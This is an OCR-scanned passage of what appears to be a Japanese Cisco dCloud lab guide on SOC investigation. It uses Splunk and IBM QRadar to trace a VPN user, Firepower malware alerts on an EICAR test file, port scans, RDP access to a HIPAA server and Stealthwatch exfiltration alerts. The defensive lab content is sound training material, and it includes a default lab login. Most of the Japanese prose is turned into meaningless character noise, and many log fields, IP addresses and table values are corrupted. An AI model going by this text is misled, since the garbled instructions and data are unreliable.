ss=198.19.40.253, DestinationlPAddress=198.19.10.4, DestinationPort=1812, erName=dhowser, Protocol=Radius, Regue
stLatency=52, NetworkDeviceName=ASA, User-Name=dhowser, N.AS-IP-AdaressMQ 40.253, NAS-Port=118784, Service-Typ
e=Authorize Only, Calling-Station.lD=198 18.133.10, NAS-Port-Type=Virt0al, cisco-av-pair=mdm-tlv=device-platform=w
in, clsco—av~pa1r=mdm4lv=cevg,5ﬁ&y=oc—50—56~ad—27~6f, cisco-av-pair=mdm-tlv=device-mac=02-00-4c-4f-4f-50, cisco-
av-pair=mdm-tlv=ac-user-agent=AnyConnect Windows 4.5.03040, cisco-av-pair=mdm-tlv=device-platform-version=6.1.7601
Service Pack 1, cisco-av-pair=mdm-tlv=device-type=VMware\, Inc. Viware Virtual Platform, cisco-av-pair=mdm-tlv=dev
ice-uid=57AAC0047695542B44287A21106CB32C25980A1 BEA3OEACAAF C2518062A2C633, cisco-av-pair=audit-session-id=c61285fe0
001d0005ac65035, cisco-av-pair=ip:source-ip=198 18 133.10, cisco-av-pair=coa-push=true, C/PN3000/ASA/PIX7x-Tunnel-
Group-Name=De faultwEBVPNGroup, NetworkDeviceProfileName=Cisco, NetworkDeviceProfileld=b0699505-3150-4215-380e-6753
d45bf56c, IsThirdPartyDeviceFlow=false, CVPN3000/ASA/PIX7x-Client-Type=2, AcsSessionID=ise/311556375/555, Selected
AccessService=Default Network Access, SelectedAuthorizationProfiles=Quarantine, IdentityGroup=Endpoint Identity Gr
oups:Profiled:Workstation, Step=11001, Step=11017, Step=15049, Step=15008, Step=15048, Step=15048, Step=24715, Ste
p=15036, Step=15048, Step=15048, Step=15016, Step=11022, Step=22081, Step=22080, Step=11002, NetworkDeviceGroups=L
ocation¥All LocationsX¥HackMDS, NetworkDeviceGroups=Device Type¥All Device Types¥Firewalls, NetworkDeviceGroups=IPS
ECX¥Is IPSEC Device#No, AuthorizationPolicyMatchedRule=Quarantine, CPMSessionlID=c61285fe0001d0005ac65035, PostureAs
sessmentStatus=NotApplicable, EndPointMatchedProfile=Windows7-wWorkstation, ISEPolicySetName=VPN, StepData=4= DEVIC
E.Device Type, StepData=5= DEVICE Location, StepData=8= Session.ANCPolicy, StepData=9= Session EPSStatus, allowEas
ywiredSession=false, DTLSSupport=Unknown, HostldentityGroup=Endpoint Identity Groups:Profiled:Workstation, Network
Device Profile=Cisco, Location=Location¥All Locations¥HackMDS, Device Type=Device TypeXAll Device Types¥firewalls,
IPSEC=IPSECXIs IPSEC Device®No, EPSStatus=Quarantine, Response={State=ReauthSession:c61285fe0001d0005ac65035; Clas
$=CACS:€612857e0001d0005ac65035:15e/311556375/555; cisco-av-pair=ACS:CiscoSecure-Defined-ACL=¥ACSACLR-IP-Quarantin
e-ACL-5a8363dd; Us:o-av-palr-pron1e-n?®-wmdows7-wor)~sta(x'&ﬁl(ensﬂypes-\. |

Quarantine 198.18.133.10 dhowser 198.19.104 main
1 udp:20514 ciscoiise syslog splunk-vinual-machine
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Endpoint ex User_Name
Selected Fields - sour
;e.& o IeAd 1 Value, 100% of even urce 1 Value, 100% of events
Reports stcabiamicidb Reports
Endpoint ST User_Name T¢ 3
Values Values

35. ZO IP [ENETELADT=H. VPN a0V L —F TP RLAEHBEINTZNE IP 7RLRAZHERTIDENHYET . 5H1E88 IP FRL A% {E
AL, [NAT] 70— FEBRFRLTHEELET , lindex=* 1ZBEL TI R TERFZEXNRIZL. 4486 IP 7RL RX198.18.133.101 &
TASA_NAT_IP=*| 24— LREESHET, ThIZLY, VPN a2Vt —2 (222D ASA) TOZDTRLADERIERERERTEET,
BREEHIEIRDESIZHYFETS,

index=* 198.18.133.10 ASA_NAT_IP=*

FASARDTARTHOFTRLAEBRIBERERT V1P ybh HackMDs DASY By aR—RIZHYFET,

36. EHELTLS—H A dhowser T, THaEht= IP A 198.19.40.5X THAZEM, AT MOIERTEE T, ZDHITIE dhowser D
IP 7KL R 198.19.40.51 T3,

Event
Apr 5 16:37:02 198.19.40.253 %ASA-4-722051: Group <SSL_EMPLOYEE> User_<dhowser> IPg<198 18.133.10> IPv4 Address <
198.19.40.51> IPv6 addgeg® <::> assigned to session // =

198.19.4051 198.19.40.253 main 1 ASA VPN cisco:asa
splunk-yvirtual-machine

37. &I dhower DAER IP FRLRIZE S TRELIZTS—MERTAELLY, HZ5<. Stealthwatch Ffz(Z Firepower [Z&>TLK
DHDEEDHIEENREIN. ISE ZR)H—LTIOI—VERELIZLODEBDONET . lindex=*|ZIBELTTRTERRIC
L. A& IP PRLR (SIZFESELI=-MER IP 7FLX) &TFirepower_Alarm=*] (Firepower oD T RTODT75—L) FHELTRE
LET . RREFBEFROLSIZHEVET,

index=* 198.19.40.51 Firepower_Alarm=*

38. IBELIZEET IP HhoOD Firepower 77— LMRREINET , [Firepower_Alarm] #9v995&. LNOHMDIEE PRBERA T
R, HEICYI) —ZHEETEETT . EEOH DTV 3VIE, Malware Cloud Lookup A RUMEIFDESTY  RELTHE

L&,
Firepower_Alarm X
3 Values, 100% of events Yes No
Hide Field = All Eiele
Reports
Selected Fields / Top value: Top values by
‘:\r('ucxxuer,»‘«\grm—
Values Count %
317 91.618%
28 8.092%
1 0.289%
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39. RERSNE=OTIZIE, ANRELEADNEHINTVET . AUV O—RDERIZ, BEEOHDI7MILHABRHShEIENHMYET,
Fl=. T7AILD Ny afE, cve T7AILE (W32.2546DCFFC5) . Web LD 77/ IILDRRAMERT. YL Iz 7 DREERT Avt—
o OgNEFENRTINET, Firepower THEERSN=CDTI2av(2&oT,. PS5S—LM ISE [TEESH. ZOT NI ARRYNT—5
MoHIBREINTVET,

BH. ZOSHRTIE HackMDs @ Firepower A% IDS E—RIZERESN TSI EN D, ZEEATOvISM TOVEWAITERL TS
W LRAZRRSGTF AT X T4I1Z&Y S oo O—KRENE=T7AILAENOT AN, ZOVRATLIZRILIITHREFEEL TSI E
M ISE MHBEINTULVET , KEIL. Firepower  IPS E—FIZERELTIZAILDE OV A—REHSDHBRR TSHOTARATY
M. S EIL IDS TREDEZEDHDT7ITIETAERFML, BEARYET—VIZBALERIZEBEA T3> ELT Cisco ISE AYE
BENIBFERT=HOIZ. COLIEHREIZLTLETS,

Event

rec_type=125 action="Malware Cloud Lookup" agent_user=Unknown agent_uuid=00000000-0000-0000-0000-000000000000 app_proto=H
TTP archive_depth=0 archive_name="" archive_sha="" client_app=Chrome cloud=N/A connection_id=21996 connection_sec=1522971
278 dest_ip=198.19.10.1 dest_ip_country=0 dest_port=80 detection="" detection_name=w32.2546DCFFC5-95.SBX.TG detector=SHA
direction=Download disposition=Malware event_description="" event_sec=152",4281 file_action=3 file name=eicar_com.zip fi
le_path="" file_policy=HackMDs-File file_size=184 file_ts=0 f11e_[ype=2Ip/h[tp_response=0 mstanr/_/ﬂ=1 ip_proto=TCP malw
are_event_subtype=N/A malware_event type="Threat Detected in Network File Transfer" num_ioc=0 parent_fname="" parent_sha2
56="" policy_uuid=7becd144-e5b7 )ﬂl-.aSDO-déOOSchclft‘- rec_type_desc="Malware Event Record" rec_guge simple="MALWARE EVEN
T" retro_disposition=Malware security_context=00000000000000000000000000000000 sensor=ftd sha256%2546dcffc5ad854d4ddc64fb
f056871cd5a00f2471cb7a5bfd4ac23b6edeedad src_ip=198.19.40.51 src_ip_country=unknown src_port=4554 ssl_actual_action=Unkno
wn ssl_cert_fingerprint=0000000000000000000000000000000000000000 ssl1_flow_status=Unknown subt} 'z-’r-u;\ threat_score=0 type=
“Threat Detected in Network File Transfer" uri=http://applications.ad.hackmds.com/eicar_com.zIp user="" web_app=Unknown

Malware Cloud Lookup splunk-virtual-machine main 1 encore
cisco:estreamer.data splunk-virtual-machine

ZDZHRTIL, Splunk TRIASNSSEIEFGZOT M, BRI OKREFRETDHEITONTEEDFELZ, EIFED SOC TlEk, I~
TOARNVIEERLEET. EELRDODNDIZLDETRTREL. T A_REZBEEAICEELET, F1-. XF D SOC TIL. &
BOEE CTEBELTELLIIC, FHENH RIZHEH>TWST—2OHREEFZRELERLET, -&X(E. ASA O NAT La—FRIZthD
T—REMRETHILET, SMEBOKREEFRENERD IP FREBEICHETDIFEHIENTEET , F=. Firepower DT—32&
Stealthwatch D T—2IZWVFHETRIER RDP EHEICEAT 2NV MERZEL>THEY. TNOEMAETHETINUMIBETSLY
MR T—ALRBTEET,

HackMDs @ SOC 75—4 #vyia R—FE#BHICIEEL. BLDOHETS5—LERHELTH TS, Splunk DALY Fyia
R—FDERIZIEAVRAM=IVEHT TV —23a0 D—ENHYET DT, T THERINETI—LEFIRATEET, Splunk XL
IZEARALTLEELY,

IBM QRadar 57K

QRadar TOHRET—4
ZDFHRTIEBOERBET —ZIERLTOVELT A, RDYIZ, HEHMO CTR ED21— )L TRITLERBEFCHBEZH DS EDE &
THohLOEFTLTHYET .

QRadar MHIE
IBM #t® QRadar [&., EF1UT1ZFRHEL TV T4 TR T 51=0OI12% 5T SN = SIEM TF, QRadar [, 7A— AXA—ZXDHY

FI—O D5, X1 T4 ARVRDEED . TEIM—ZADEB T ERAV A EHETHEALET ., AEZHBOSHTIC
QRadar DLW DEEIYFEHRELTHELLS,
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1BM QRadar

Now Dashbosnd. MadMOS SOC View =l Now Dashboard Rename Damboand € Oatete Damboms  Additem ¥ / Retesh Paused 000035 B> ¥
Top Sowrces !3 Most Recert Offenses o L 0 Top Category Types . 0
Sowrce Offenses Offense Name Magntude Category Offenses
£2101030 2 Lxga mrqu‘ Denies Acros w;vgm ‘lQn»ALQ{)!N" 3 Remote Code Execution
5101030 2piof ¥ oll

iious HOSL Actvity - Chaine — Mis¢ Explog

§92101030
1100020 —_—
4101030
Firewall Derty by SRC 1P (Event Count) 08 X) : ; ?“““Lﬂ: :: ,m_x‘ Offenses by Source I (Event Count) 08 X
ERY ache Sin
17AM- 105518, 1217 PM preceded by SERVER-APAC NEéQ’/rtQu‘ ‘ 0 17AM- 105518 1217 PN
anempt ‘mnquum ERVER-APACHE Apac mcu avm'a(gga S—
exacution atempt - POST parameter
E n 5;“& VFRS;SIKAVIIY\V\QM\Q "03' rce Index —_—
~ | Exploits by Type (Event Count) B8 X)
3 AM 217PM |I
v Ligend
198194051 EB190181 - Legena

1. FIHEHIZ QRadar IZ7HVERLT, KBSV A R—RERTRLET . ISV DERIEFEALT QRadar IZF7IEZRL.,
admin/Clsco12345 TAS AV LET,

Log Activity Network Activity

Show Dashboard: | HackMDS SOC View Ed

ATA0F%E FVVaR—FRRRENET  HRIVA XFARELT IAHILEDE VLA R— RS HARSATOET £ 5
[l HackMDS SOC View &R LT=& 512, ILWVF v aR—REER T 5 ELAEETT . F v aR—RI&, [LfL IPS 1RV
(Top IPS Events)] & HEDRET — 4% T I B V4PV THEREIN TLVET , HackMDS SOC View % aR—RAVEE]
LTWAENMERIFE, VUvILTEELET,

VAP TYMETRT TOTATHERRICE DV TLET . QRadar [CE>TIRESNIZFEFITARTOT—2ERRL TP Yk
FTHIEMNATRETT . COEEITDNTIE, ATRDFAE/N—FTHLTHDFETT , ZZT [HE (Offenses)] 2T&4"voL
ij_o

Search... ¥ | Save Criteria Actions ¥ L Print Last Refre:

»
vy Offenses

All Offenses  View Offenses: Select An Option: j
AlLOMenies Current Search Parameters:
By Citegory Exclude Hidden Offenses  (Clear Filter), Exclude Closed Offenses  (Clear Filter)
By Source IP - Id Description Offense Type Offense Source Magnitude Source IPs Destination IPs
By Destination IP 3 Samba Exploit preceded by SERVER-WEBAPP Java XML deseri Source [P 188.18.10.3 —— 18819.10.3 Local (4)
G SERVER-APACHE Apache Struts remote code execution attemp...  Source IP 198.18.1336 - 198.18.133.6 Ly
By Metwrork ¥ Excessive Firewall Denies Across Multiple Hosts From A Local Source [P 198.19.40.51 - 198.19.40.51 Multiple (282)
il 1 Exploit Followed by Suspicious Host Activity - Chained containin, Source [P 188.18.30100 188.19.30.100 Multiple (2}
M z DOOS Attack Detected containing High DDS Source Index Destination IF | 0.0.0.0 - Multiple (27) 0.0.0.0
I ] DDoS Aftack Detected EventMame | DDoS Attack Detected Multiple (10} 0.0.00
o 4 Flow Source/interface Stopped Sending Flows Rule Flow Source Stoppe. 18819.10.1 188181281

2. 9%&.HackMDS OtEFaUT(EEENRIETRELMOBENRREINET , COFTICRREINDIKERF, STCRED
DELGREBEFETHIEEZTZEN, RIZ, [Ty (Asset)] #TEIIVILET
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System Time: 1.07

Search ¥  Quick Searches ¥ |g=f Save Criteria  WW#Add Filter

Assets

e

Asset Ni'n
wow.ad. halremes.c
exchange.ad.hack
qgradar local
CONTRACTOR
scanner
198191010
SMC
FCNF
smtp hackmds.com
WA
amp-disp-ext.ad.ha
private-amp.ad.hac
certificate.ad hackm
splunk-vitual-mach
198.19.10.8
198.19.40.50
198.19.30.102
fmc.ad.hackmds.com

IP Address

30.100

19.40.50

19819105

Add Asset [

¢ Actions ¥

Operating System Aggregated CVSS Vulnerabilities Services
Microsoft Windows 18126.2 2808 13
Microsoft Windows 7939.5 1212 97
Red Hat Enterprise 30175 629 4
Microsoft Windows 645.2 13 14
Ubuntu Linux 16.04 428.2 104 2
Debian Linux 8.0 Li 104.3 26 7
Dehblan Linux 8.9 LI 79.8 2 3
Debian Linux8.9 LI 798 2 3

433 8 8
Ubuntu Linux 16.04 427 10 7
Linux 2.6.32 Linux 19.4 7 3
Linux 2.6.32 Linux 19.4 7 3
Linux 3.11 Linux 19.4 4 8
Ubuntu Linux 16.04 73 4 4
Deblan Linux 8.0 LI 48 1 3

0.0 0 1)

0.0 0 0
Linux 2.6.32 Linux 0.0 a 3

Last Refresh: 00:30:00 Il X @

Last User

dhowser

admin

admin

User Last Seen

2018-10-0516:16:0

2018-10-03 18:05:0

2018-09-27 22:00:5

3. [7tvuk(Asset)] 27 IZl&. QRadar THERSN=HED BT /NAAN—ERFEINTLVET, QRadar Tl FykT—9%R
XYL THERETNARERBETAEIICRETEIENTEDO. FYNT—I LD TNAR YR M RFTIHFTEET,
HackMDS Rk T—YDRAX v ERAKTINET,

QRadar [&. FELMEHERFrFEDMELARETT  Fho HARAFRF YT EFEALTT EIMDIEBHEER X5
HTEET, COSRTIL, Rapid7 & QRadar AL TIDT—42FRELTLVET . QRadar 4w aR—FhH 5 Rapid7 X
FroE BT HIENTE, BALGHEED 1 DITHES>TLET, QRadar IZ&>THESN =7 VMBI 5B T —20 %
RENFET, REMBHED LR T L (COHFITIE, 2,000 BOMETEHEZERLTLNS 198.19.30.100) %45 -L T, Nexpose
& QRadar DA IZK>THRESIN-FEMERTLET,

4. TRZTNOBAEMMEHEEDYRY RaT7HE . COVRTLICEET HHEFEED

ADFRTERICN\VFEERYTHEABETY,

Jelete Selected Yulnerabilties
D Severity

15570
15571
66728
66899
69253
69974
72014
72341
74218
77346
82085
82554
83882
84186
84196
84197
84364
85918
85925
88116

Delete All Vulnerabilties|

Risk Service

Port

Low 3389

High

Vulnerability

ICMP time stamp request

ICMP netmask request response
Microsoft Office Groove DLL co.
Microsoft Windows Indeo Filter
Microsoft Wil Administrative To..
Microsoft Windows MHTML info...
Microsoft Internet Explorer cros. ..
Java SE JRE Sound unspecified
Zimbra Collahoration Suite uns..
Oracle GlassFish Server hash ...
VMware ESK Server and ESXi If..
Oracle GlassFish Enterprise S.
Microsoft Windows Microsoft C..
Microsoft Windows User Mode ..
Microsoft Windows BIOS Memo..
Microsoft Windows User Mode ...
NetBSD System Call Handling
Microsoft Windows VBScript an..
Microsoft Windows JScript/VB...
Oracle Solaris x86-64 Kernel S...

Details

Risk Score Found

0.00 2018-08-27 22.0...
0.00 2018-09-27 22:0...

EET 20150927 220...

(GBI 2018-09-27 220

[0 2018-08-27 22:0...

3.40 2018-09-27 22:0...
3.20 2018-09-27 22:0...

2018-08-27 22:0.

3.20 2018-09-27 22:0...
410 2018-08-27 22.0...
2018-09-27 22:0...

5.00 2018-08-27 22:0.

3.20 2018-09-27 22:0...
5.60 2018-09-27 22:0...
EEEN 010-09-27 220...
SR8 2018-08-27 22:0.

FRIB 2018-09-27 220

[BE 2018-09-27 22:0...
FE 2018-08-27 22:0...
SRR 2018-09-27 22:0...

Last Seen

2018-10-0517:0...
2018-10-0517:0...
2018-10-0517:0...

2018-10-0517:0

2018-10-0517:0...
2018-10-0517:0.
2018-10-0517:0...

2018-10-0517:0

2018-10-0517:0...
2018-10-0517.0.
2018-10-0517:0...

2018-10-0517:0

2018-10-0517:0...
2018-10-0517.0...
2018-10-0517:0.

2018-10-0517:0
2018-10-0517:0

2018-10-0517:0...
2018-10-0517:0.
2018-10-0517:0...

Early
‘Warning
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No
No

HHENRTREINET COVRTLIR. LWTHh

QRadar [ZIZATLar DTS5 10 NHY. AV A= LT NIESHIMEATEYET . AT a> DL Splunk IZE ELIFHEL E
Ta—ILDHREITARIZIEFIFHAHYES, 22

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.

THREERIRLET . T, F U 5 DRMBRIDOVTHRNELELS,

178/195 R—<



Cisco dCloud

RBOBREERETS

RUOFAETIE. OFUF 5 OTRHOBZRITETL-RELHRLET . WEH L, BAFZIL T v ILT RDP(3389/tcp) &% A
L. RS T—IANTIERALTINVET, 198.19.30.X RYrT—IIZBATEHE RAXVPUERTLTHOS R T LAEREL. REARVE
D—IIZT7 9 RTB=BDICEALRLEBREILT OV EFERALTENSTIERALET . KEEO B ML, HIPAA XykT—%5
(198.19.10.x)Z¥ A ELTHEULT4T T—HREMBTHIETT  HIPAA XYL T—IADV AT LERETSHE. TFOVRTLEDEY
747 T—REHEL. Filezilla #ERAL TRV T—I5 T HRR—RLET , HAT=DLEIL. QRadar THEZESN 1= Stealthwatch
DT—REFEALT, VE—F TRIMYTDEIE(3389/tcp) . A THIEZRITEL EBIDF I, T—ARBTITIETAEHETHIL
SE

5. RMIEETAHAIOKREDEEIL. BEOEROFMRELGDIMDI AT LEREENELTVSILEZTTNER—2IL ¥y
U DFEYEETEITYT, SOC DHF v aR—FIZIE, SOT—2E RTI4TN BYET, [ERIATITIEAAT (Top
Category Types)] [ZI&. HF5L [RybT—YXA4—TF (Network Sweep)] BMERREINET, Ff-. COFEHRERTITSIER V1
Txyk, [[R—bRXFr> (Port Scanning)] £HYFET , COTRTIE. RFYUEETITBVRATLIL 2 2HYFET, D 1 DI,
BEDRAERRTHAINEERERT 198.19.30.100 ELVBEELI=FYTrT SR(CDIRD/I— 3 THEF) MoDHE
ENTREINTVET, [ATTITAETADERE (View in Log Activity)] 97U vIL T, TRV DEFEMER THELLS,

Port Scanning (Count) CI:‘B
10/4/118 12:30 PM- 10/5/18 12:30 PM
Source IP Count
198.19.30.100 4

198.19.40.51 / 4

View in Log Activity

6. VAPIVPORTHEICETILYFHMGERNARIINET, THARIZRYA—ILT BE, Firepower HR—k XFxv 252
LI=C&0, RS TVWARAF v OREEDEANKRTINET,

Top 10 Source IP Results By Count [T Top 10 Source IP Resuits By Count &
104118 12:30 PM - 1005/18 1 2:30 PM 1004018 12:30 PM - 1 015018 12:30 P

6

4

- - :

2z

0
¥ Legend ¥ Legend

1981930100 @H198.19.40.51 1981930100 @B19819.4051
(Hide Chark)
_ - Low Level Category (Unique , _
Source IP Log Source (Unique Count) Start Time (Minimum) Count) Magnitude (Minimum) Event Name (Unique Count) Count +
198.12.30.100 Clsto Firepower Oct4, 2018, 3:29:38 PM ICMP Reconnalssante 7 partsean: ICMP Filtered Sween 4
198.19.40.51 Clsto Firepower Oct4, 2018, 2:12:38 PM ICMP Revonnaissante 7 partsean: ICMP Filtered Sween 4

7. [#viairR—K(Dashboard)] #4'v9LT SOC #yiaR—RIZRYET,

Leg Acthity

-
Joa:vlshboard 1d: | HackMDS SOC View

8. 198.19.30.100 [&. BEDOHIMHEME. FzIXBESN TS AREMENH I ESHMYELZ D IAPzvrE R TH B E.
BZL ZTOMOLODDEEHIEENZD IP FRLRIZEEMFTEN TSI EN LMY ET, F2EAIE, [EETIPAIDK
% (Offenses by Source IP)] V4P TYRTIXID IP FRLAD MY FIZHATWVET , COIrP v Di#MEES—EREEL.
KiRELYFHLBELELLD,
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EE8

10/5/18 6:29 AM - 10/5(18 12:29 PM

; / ‘lll il

¥ Legend /

1931930100 @$2101030 @@195.19.4051
@:101030 @@5101030 100020
@4.101030 7101030 61010.39

Mew in Log Activi

Offenses by Source IP {Event Count)

9. TARIZRYIA—LTEBE, 2O IP PRLRIZIE [RBLERRANT ITETAIZDEMNB TR T 0L+ (Exploit followed by
Suspicious Host Activity)] £V TSI DFRESINTVDIEN DO ET, ik, CONERFISEROAARU DTS
PERESNTWDIEEEKRLET , FEk(d 198.19.10.5 &> TWVET, ThiE. .30 &£ .10 RYLT—O DD EF(DFEY., E
EREREBRYET—I WS, HIPAA T—3%R BT 5 RATLINGFEET S, EHINIzEX2T7HEL L T4T RYLT—I~AD

B ETRLTOEYS,

ISIT, MBEN)A—FTBAE NP PRLRMN 2 DFEHTHACEIZEETBALTZEWL . £51 2D IP PRLRIE. 3 HFEE DK E
ICBEEBREMTONTVET, ZOREBITOVNTIEREFERAELET,

0 Name (custom)
" {Unique Count)
1981830100 " Exploit Followed by

Source IP

LE210020 DDos Attack Detected
198.19.40.51 Multiple (23

“E3.101020 DDos Attack Detected

[==510.10.20 DDos Attack Detected

= DOos Attack Detected

DDwS Atack Detected

DDwg Atack Detected

E57.10.10.20

Event Name {Unigue Count)
Exploit Followed by Suspicious Host Activity - Chained ™ T Misc Exploit

DDog Attack Detected
Multiple {2}

DDog Attack Detected
DDog Attack Detected
DDog Attack Detected
DDos Attack Detected
DDos Attack Detected

Las cevel Category Destination IP ination Port Username {(Unigue Magnitude
(ﬁr‘lique Count) (Unigue Count) {Unigue Count) Count) {Maximum)
18818104 a nurse 8
Mise Dog 0.0.0.0 [t} Mone 3
Multiple (2} Multiple (3) Multiple (3) Multiple (2} g
Mise Dog 0.0.0.0 [t} Mone 3
Mise Dog 0.0.0.0 o Mone 3
Mise Dog 0.0.0.0 o Mone 3
isc Dog 0.0.00 0 Mone 3
Misc Dog 0.0.00 0 Mone 3

10. ZREIZES—EX v R—FIZRSE. ERAO [T—4IFE (Data Exfiltration)] 74Py WNRREINET , VU vILTEHAZE

RELET,

Data Exfiltration {Count)

“iolation

(5 8 X
10/4/18 12:50 PM - 10/5(18 12:50 PM
Accumulation began 1004018 3:54 P

Source IP:Low Level Category Count
198.19.10.101:Data Loss Prevention Policy &
Yiolation
10.201.0.23:Data Loss Prevention Policy 3
iolation
10.1580.1.200:Data Loss Prevention Policyd

/ 2

—
Wiewy in Log Activity

11. FTARIZRIA—ILTBE, FYNT—I9MDT—2ZRESETINDS 1 DORNE ATL(198.19.10.101) &R TEFET . Ch

[FFEITREFRET,

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.

FAETIDENHYES,

180/195 R—<

Event Count (Su



Cisco dCloud

Top 10 Source IP:Low Level Category Resufts By Count

) Top 10 Source IP:iLow Level Catesory Results By Count 8
10/4118 12:50 PM - 104518 12:50 PM
na

1074118 12:50 Phi- 1015118 12:50 PM

I N /
o
7 Legend

T Legend

183 1910 101:Data Loss Prevention Policy Violstion  @10.150 1 200:Data Loss Prevention Policy Violation
@10.201 0 23Data Loss Prevertion Policy Violatior

19618 10 101: Data Loss Prevention Policy Yiolation (10,1501 2001 Data Loss Prevention Policy Yidlation
110,201 023Dt Lo Prevertion Policy Wislation

(Hide Charts)
/ ination IP (Unique ination Port Event Name (Unique Log Source (Unique Username (Unique =
Source u:f_ Low Level Category Count) Unicue Count) Count) Count) Couit) Event Count (Sum) Count
188.18.10.101 Data Loss Frevention 0.000 0 Data Exiltration Ciseo Stealthwatch @...  None 8 E
10.150.1.200 Data Loss Frevention 0.000 0 Data Exiltration Ciseo Stealthwatch @ None 2 3
10.201.0.23 Data Loss Prevention 0.000 0 Data Exiltration Ciseo Stealthwatch @ ... None

12. CORRLE BED IP TRLA®, RHShZERE T - ARERBEDRAT A UERRTHIET. EDTF—LITD
WTHRETEET, TDEHITE, [ATTIT1ET 1 (Log Activity)] 3T &I vILES . §9)vILTHELELS,
13.

AIEEEERBLIZ VA Dy RTEINET, WA HIBALT IP PRLR T, HILLWRREZERITLTHELLS, [HER
(Search)] 2 voL. [##R#%E (New Search)] Z:EIRLET,

Drashboarg

Offenses Leg

L d
Search... ¥ Quick Shatat ¥ YAd(F e r ‘-

New Searci™=s

-

Edit Search HEABE

Manage Search Results

14. BHDBRFEA T av N EFENTT+—LRRTENET, [RFFARFK (Saved Searches)] 3. EABEDBVRRT. T
FRGERRLTEH T 5 ENTEET,

Saved Searches  Group:Selecta group... “|Manage Groups

Type Saved Search or Select from List

Awailable Saved Searches

Admin Login Failure By [P

Admin Login Success By IP

Admin Login Success by User

Admin Logout by [P

Admin Logout By User

Application or Service Installed or Modified

15. [B5MEIEEE (Time Range)] DT 74L& [UTILAA L (AR —22 %) (Real Time(streaming))] T3 AS. RRFEHEEEE DR
BIRICHRETHIENTRETT, SEOKRETIX [BZE 7 BRE (Last 7 Days)] |

Time Range:

JERELFET,

 Real Time (streaming) * Last Interval {auto refresh) & Recent

Last7 Days j
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|

[ A eI 8E74: 51 (Available Columns)] [&. EREREHLMOILRRTEIT—F T—TILTT 2R IE TIAILRTIE [EE

7t IP(Source IP)] 4° [/ R kAU (Event Count)] EMFIRENTSD T, TRECONIGEERRT & BRIERIC

(. ZEIETT IP 45, QRadar ITAJ#EET ST NARATHERBINARVEORFENEENF T, SESFHA T LavEHHIC
LTS,

UTFIZRLTWAD (L, [fRFE/\5A—4 (Search Parameters)] T3, CCTlE, T—2FEABREINT IP PRLR
198.19.10.101 [ZDWVT, SHITFHLWMERZHRELTHET, TD IP PRLR% [{E(Value)] IZA AL, [T4/)L2D:EM (Add
Filte)] #2UvoLEd . ETLE=6. B TFIZEEIL. [#R%E (Search)] #7UvILET,

Search Parameters

Farameter: Operator: alue:

1958.19.10.101

Quick Filter - Matches | -

Current Filters

[ QuickFilter is 198.19.10.101

Remove Selected Filtersi

16. COYRTLICET 0T #MPS T RTRRINET , FAMICRYO— LWL THMERBLET . STBT_ELOME. [ZIET
IP(Source IP)] & [585% IP (Destination IP)] TZDI AT LIZEREMITHEN TS IP PRLRIZIE, AEBDELDEREBD LD H
HBIET. INFBREVRRTT . REBV AT LG EF 27450747 RyRI—Y LIZHEEL. ZOFRVET—VIZIE
HIPAA T—ANEEN TR AEEENHYET . ZLTE . COVRTLERYNT—IRTINAREDETTITAETANHRE
LTWAELFET, 198.19.30.100 DT /NI REV VYL THMBBEREMBLELLS,
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Search... ¥ Quick Searches ¥ W Add Filter | Save Criteria [ Save Results g Cancel . False Fosifie Rules ¥ Actions ¥
50 ,/\
O s i o i i i el i i i i e ame e e _— o o e e o A /L/-»_/\
Sep 28 :00 AM Sep 29 £:00 AM Sep 30 5:00 AM octl 00 AM ocr2 :00 AN 2 %] 6:00 AM Octd &
Update Details)
(Hide Charts)

Event Name Log Source E‘;?m Time + Low Level Category Source IP /Supl;n:e Destination IP
CONMECTION_STATISTICS Cisco Firepower 1 Oct5, 2018 12:293 Infarmation 1981930100 8 1981910101
CONMECTION_STATIETICE Cisco Firepower 1 0ct5, 2018 12283 Infarmation 192.19.30.100 ] 1921910101
CONMECTION_STATIZTICE Cisco Firepower 1 Oct5, 2012 12:27:4.. Infarmation 102.19.40.51 ] 1981910101
Flow Deleted AS A 1 Oct5, 2018 12263 Infarmation 19819.40.51 298348 1981910101
Unknown Firewall Event AShw 1 Octg,2018,12:26:3... Unknown 198.19.40.51 29839 1981910101
CONMECTION_STATIETICE Cisco Firepower 1 0ct5, 2018 12:26:3... Infarmation 192.19.40.51 1921910101
Flow Created ADA 1 Oct5, 2018 12263 Infarmation 198.19.40.51 /Q'EIESB 1981910101
unknown Cisco Stealthwatch & SMC 1 Oct5, 2018, 12:21:0 Unknown 1981910101 0 0.00.0
Data Exfiltration Cisco Stealthwatch @ SMC 1 Octg,2018 12:21:0... Data Loss Prevention Policy Vio. 1881910101 a 0.00.0
unknown Cisco Stealthwatch @ SMC 1 Octg,2018, 12190, Unknown 198.19.30.100 a 1988.19.10.101
Data Exfiltration Cisco Stealthwatch & SMC 1| Oct5,2018,12:11:0 Data Loss Prevention Policy Yio 1881910101 0 0.00.0
unknown Cisco Stealthwatch @ SWMC 1 Octd,2018,1211:0... Unknown 1981910101 1) 0.00.0
CONMECTION_ETATIETICE Cisco Firepower 1 0ct5, 2012, 12081, Infarmation 192.19.20.100 40342 1921910101
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17. HIPAA IZRLTWAZEIFEHALM T, hiEY BEULMKRDATEEE NS LVEE
198.19.10.101 TSN TWAIENHLMYET, ZOEF21)TA 1V TUMIDNT ) —F—OLEL AN LD Y R—K

E2FET, VAT L 198.19.30.100 A%

EETRETT,
Source and Destination Information
Source IP 198.19.30.100 Destination IP 193191D1D1_
Source Asset Name wow. ad hackrnds5 2 4 Destination Asset Name | NiA L d
Source Port 49342 Destination Port 3389
Pre NAT Source IP Pre NAT Destination IP
Pre NAT Source Port 0 Pre NAT Destination Port | 0
Post NAT Source IP Post NAT Destination IP
Post NAT Source Port | 0 PostMAT Destiation | g
Source IPvG 0oooeon Destination IPvé oooonooo
Source MAC 00:00:00:00:00:00 Destination MAC 00:00:00:00:00:00

RIZ, OFIUF 3 DREBEICBYELLD,

IHRTOA+DOEIEEZRETS

ROFETIE., U FVF 3DIRTYL 2 PUR 5T T

LI-BEEMFEHELTOEE Y WEENRTYa TUR JSTERRELT

WBEWNSZEE BEDBEMZERLTAVA—R I EDEBED AT LEI—FIYMILTWBIEEEKRLET . COHFITIE, HackMDs
